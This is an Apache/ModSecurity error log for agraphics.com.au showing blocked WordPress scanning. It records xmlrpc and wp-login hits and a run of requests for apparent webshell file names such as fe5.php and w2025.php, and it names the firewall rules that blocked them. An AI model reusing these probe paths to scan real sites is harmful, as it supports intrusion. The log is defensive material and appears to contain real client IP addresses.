[Tue Mar 24 01:49:42.057510 2026] [:error] [pid 56237:tid 56326] [client 194.5.82.77:57825] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/storage/framework/views/core.php"] [unique_id "acF9NgymO0MnzQb90MMzegAAAIU"]
[Tue Mar 24 05:02:17.993084 2026] [:error] [pid 3137:tid 3140] [client 34.145.123.154:62101] [client 34.145.123.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.123.154, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acGqWZdZesutm6dfYM_PpAAAAME"]
[Tue Mar 24 05:02:18.002987 2026] [proxy_fcgi:error] [pid 3137:tid 3140] [client 34.145.123.154:62101] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 05:02:20.031822 2026] [:error] [pid 3137:tid 3148] [client 34.145.123.154:62101] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "acGqXJdZesutm6dfYM_PsAAAAMk"]
[Tue Mar 24 05:02:20.406046 2026] [:error] [pid 3032:tid 3111] [client 34.145.123.154:62531] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "acGqXCa_-JXXD03-JNy67QAAAIg"]
[Tue Mar 24 05:02:20.768672 2026] [:error] [pid 38767:tid 38772] [client 34.145.123.154:54902] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "acGqXPwkUqN4GJAI5oVdiQAAAQI"]
[Tue Mar 24 05:02:21.101323 2026] [:error] [pid 38767:tid 38771] [client 34.145.123.154:54909] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "acGqXfwkUqN4GJAI5oVdiwAAAQE"]
[Tue Mar 24 05:02:21.433511 2026] [:error] [pid 3032:tid 3112] [client 34.145.123.154:62649] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "acGqXSa_-JXXD03-JNy69QAAAIk"]
[Tue Mar 24 05:02:21.807726 2026] [:error] [pid 3137:tid 3156] [client 34.145.123.154:49996] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "acGqXZdZesutm6dfYM_PsgAAANE"]
[Tue Mar 24 05:02:22.156473 2026] [:error] [pid 3030:tid 3053] [client 34.145.123.154:49646] [client 34.145.123.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "acGqXgyOuILyynfcqfnsoAAAAAQ"]
[Tue Mar 24 07:45:10.561470 2026] [:error] [pid 3030:tid 3053] [client 80.90.85.16:51583] [client 80.90.85.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.90.85.16, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acHQhgyOuILyynfcqfkKXwAAAAQ"]
[Tue Mar 24 07:45:10.571410 2026] [proxy_fcgi:error] [pid 3030:tid 3053] [client 80.90.85.16:51583] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 09:02:44.415253 2026] [:error] [pid 3030:tid 3052] [client 185.223.152.125:36007] [client 185.223.152.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.125, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acHitAyOuILyynfcqfkW5wAAAAM"]
[Tue Mar 24 09:02:44.425097 2026] [proxy_fcgi:error] [pid 3030:tid 3052] [client 185.223.152.125:36007] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 14:56:58.264725 2026] [:error] [pid 3137:tid 3155] [client 223.228.132.13:64163] [client 223.228.132.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.228.132.13, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acI1updZesutm6dfYM_KiAAAANA"]
[Tue Mar 24 14:56:58.279324 2026] [proxy_fcgi:error] [pid 3137:tid 3155] [client 223.228.132.13:64163] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 15:09:49.115800 2026] [:error] [pid 38767:tid 38781] [client 45.131.195.194:28303] [client 45.131.195.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.194, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "acI4vfwkUqN4GJAI5oV7gAAAAQs"]
[Tue Mar 24 15:09:49.125178 2026] [proxy_fcgi:error] [pid 38767:tid 38781] [client 45.131.195.194:28303] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:08.889478 2026] [proxy_fcgi:error] [pid 48219:tid 48296] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:09.150009 2026] [proxy_fcgi:error] [pid 48219:tid 48305] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:09.437498 2026] [proxy_fcgi:error] [pid 48219:tid 48291] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:09.761561 2026] [proxy_fcgi:error] [pid 48219:tid 48286] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:10.016224 2026] [proxy_fcgi:error] [pid 48219:tid 48290] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:10.275486 2026] [proxy_fcgi:error] [pid 48219:tid 48292] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:10.711495 2026] [proxy_fcgi:error] [pid 48219:tid 48301] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:11.185598 2026] [proxy_fcgi:error] [pid 48219:tid 48304] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:11.444312 2026] [proxy_fcgi:error] [pid 48219:tid 48289] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:11.756399 2026] [proxy_fcgi:error] [pid 48219:tid 48283] [client 52.138.146.177:41230] AH01071: Got error 'Primary script unknown'
[Tue Mar 24 19:28:12.177816 2026] [:error] [pid 48219:tid 48297] [client 52.138.146.177:41230] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acJ1TChf3b4R_lAIyv90wQAAAhA"]
[Tue Mar 24 19:28:13.116957 2026] [:error] [pid 38767:tid 38792] [client 52.138.146.177:37514] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acJ1TfwkUqN4GJAI5oUa4QAAARY"]
[Tue Mar 24 19:28:14.469158 2026] [:error] [pid 48219:tid 48281] [client 52.138.146.177:48347] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acJ1Tihf3b4R_lAIyv90wgAAAgA"]
[Tue Mar 24 19:28:15.941113 2026] [:error] [pid 48128:tid 48167] [client 52.138.146.177:37020] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acJ1T8vR4LIMFLbM5Vkz-wAAAY8"]
[Tue Mar 24 19:28:17.399895 2026] [:error] [pid 64198:tid 64216] [client 52.138.146.177:19888] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/19.php"] [unique_id "acJ1UXVzJqf6OS_oSZ2i6AAAAVA"]
[Tue Mar 24 19:28:18.327368 2026] [:error] [pid 48219:tid 48302] [client 52.138.146.177:19883] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/19.php"] [unique_id "acJ1Uihf3b4R_lAIyv90ygAAAhU"]
[Tue Mar 24 19:28:19.237224 2026] [:error] [pid 48219:tid 48304] [client 52.138.146.177:38663] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/19.php"] [unique_id "acJ1Uyhf3b4R_lAIyv90zgAAAhc"]
[Tue Mar 24 19:28:19.961813 2026] [:error] [pid 48128:tid 48160] [client 52.138.146.177:19867] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/19.php"] [unique_id "acJ1U8vR4LIMFLbM5Vkz_wAAAYg"]
[Tue Mar 24 19:28:20.567292 2026] [:error] [pid 3032:tid 3111] [client 52.138.146.177:38717] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ1VCa_-JXXD03-JNxOvwAAAIg"]
[Tue Mar 24 19:28:21.411072 2026] [:error] [pid 3137:tid 3157] [client 52.138.146.177:14782] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ1VZdZesutm6dfYM8gngAAANI"]
[Tue Mar 24 19:28:22.110767 2026] [:error] [pid 48219:tid 48303] [client 52.138.146.177:41228] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ1Vihf3b4R_lAIyv900AAAAhY"]
[Tue Mar 24 19:28:23.088429 2026] [:error] [pid 3137:tid 3151] [client 52.138.146.177:19847] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "acJ1V5dZesutm6dfYM8gnwAAAMw"]
[Tue Mar 24 19:28:23.844576 2026] [:error] [pid 3137:tid 3160] [client 52.138.146.177:27966] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "acJ1V5dZesutm6dfYM8gogAAANU"]
[Tue Mar 24 19:28:24.688176 2026] [:error] [pid 38767:tid 38777] [client 52.138.146.177:38701] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "acJ1WPwkUqN4GJAI5oUa9gAAAQc"]
[Tue Mar 24 19:28:25.814057 2026] [:error] [pid 38767:tid 38773] [client 52.138.146.177:50179] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "acJ1WfwkUqN4GJAI5oUa-AAAAQM"]
[Tue Mar 24 19:28:26.724034 2026] [:error] [pid 48219:tid 48294] [client 52.138.146.177:17252] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "acJ1Wihf3b4R_lAIyv901AAAAg0"]
[Tue Mar 24 19:28:27.389443 2026] [:error] [pid 3031:tid 3095] [client 52.138.146.177:65079] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acJ1W6JBKytnG47nuiYzYwAAAFM"]
[Tue Mar 24 19:28:28.508760 2026] [:error] [pid 3137:tid 3151] [client 52.138.146.177:9247] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acJ1XJdZesutm6dfYM8grAAAAMw"]
[Tue Mar 24 19:28:29.395989 2026] [:error] [pid 48128:tid 48171] [client 52.138.146.177:9230] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acJ1XcvR4LIMFLbM5Vk0BgAAAZI"]
[Tue Mar 24 19:28:30.305780 2026] [:error] [pid 48219:tid 48300] [client 52.138.146.177:19884] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "acJ1Xihf3b4R_lAIyv901gAAAhM"]
[Tue Mar 24 19:28:31.181696 2026] [:error] [pid 3031:tid 3082] [client 52.138.146.177:1273] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.php"] [unique_id "acJ1X6JBKytnG47nuiYzawAAAEY"]
[Tue Mar 24 19:28:32.065864 2026] [:error] [pid 48214:tid 48276] [client 52.138.146.177:9175] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.php"] [unique_id "acJ1YLeshLWZ3uUDHKllQAAAAdg"]
[Tue Mar 24 19:28:33.015072 2026] [:error] [pid 3137:tid 3148] [client 52.138.146.177:51318] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.php"] [unique_id "acJ1YZdZesutm6dfYM8gtwAAAMk"]
[Tue Mar 24 19:28:34.236605 2026] [:error] [pid 64198:tid 64211] [client 52.138.146.177:9183] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.php"] [unique_id "acJ1YnVzJqf6OS_oSZ2i-AAAAUs"]
[Tue Mar 24 19:28:35.014071 2026] [:error] [pid 3137:tid 3150] [client 52.138.146.177:13749] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "acJ1Y5dZesutm6dfYM8guAAAAMs"]
[Tue Mar 24 19:28:35.931852 2026] [:error] [pid 3137:tid 3140] [client 52.138.146.177:9548] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "acJ1Y5dZesutm6dfYM8gugAAAME"]
[Tue Mar 24 19:28:37.125289 2026] [:error] [pid 3137:tid 3159] [client 52.138.146.177:27434] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "acJ1ZZdZesutm6dfYM8gwAAAANQ"]
[Tue Mar 24 19:28:37.933842 2026] [:error] [pid 3137:tid 3158] [client 52.138.146.177:9125] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "acJ1ZZdZesutm6dfYM8gxAAAANM"]
[Tue Mar 24 19:28:38.703741 2026] [:error] [pid 3137:tid 3147] [client 52.138.146.177:27438] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eee.php"] [unique_id "acJ1ZpdZesutm6dfYM8gygAAAMg"]
[Tue Mar 24 19:28:39.691310 2026] [:error] [pid 48219:tid 48285] [client 52.138.146.177:33031] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eee.php"] [unique_id "acJ1Zyhf3b4R_lAIyv903gAAAgQ"]
[Tue Mar 24 19:28:40.566080 2026] [:error] [pid 48214:tid 48270] [client 52.138.146.177:9120] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eee.php"] [unique_id "acJ1aLeshLWZ3uUDHKllTgAAAdI"]
[Tue Mar 24 19:28:41.569423 2026] [:error] [pid 48219:tid 48305] [client 52.138.146.177:1210] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eee.php"] [unique_id "acJ1aShf3b4R_lAIyv905gAAAhg"]
[Tue Mar 24 19:28:42.855674 2026] [:error] [pid 3031:tid 3096] [client 52.138.146.177:52268] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "acJ1aqJBKytnG47nuiYzfgAAAFQ"]
[Tue Mar 24 19:28:43.639192 2026] [:error] [pid 3030:tid 3053] [client 52.138.146.177:10188] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "acJ1awyOuILyynfcqflYpAAAAAQ"]
[Tue Mar 24 19:28:44.542371 2026] [:error] [pid 48214:tid 48259] [client 52.138.146.177:14231] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "acJ1bLeshLWZ3uUDHKllUgAAAcc"]
[Tue Mar 24 19:28:45.391397 2026] [:error] [pid 3030:tid 3064] [client 52.138.146.177:14267] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "acJ1bQyOuILyynfcqflYpgAAAA8"]
[Tue Mar 24 19:28:46.464510 2026] [:error] [pid 3137:tid 3143] [client 52.138.146.177:15037] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "acJ1bpdZesutm6dfYM8g1QAAAMQ"]
[Tue Mar 24 19:28:47.108036 2026] [:error] [pid 48219:tid 48290] [client 52.138.146.177:1411] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "acJ1byhf3b4R_lAIyv906gAAAgk"]
[Tue Mar 24 19:28:48.090113 2026] [:error] [pid 48214:tid 48273] [client 52.138.146.177:52226] [client 52.138.146.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "acJ1cLeshLWZ3uUDHKllWgAAAdU"]
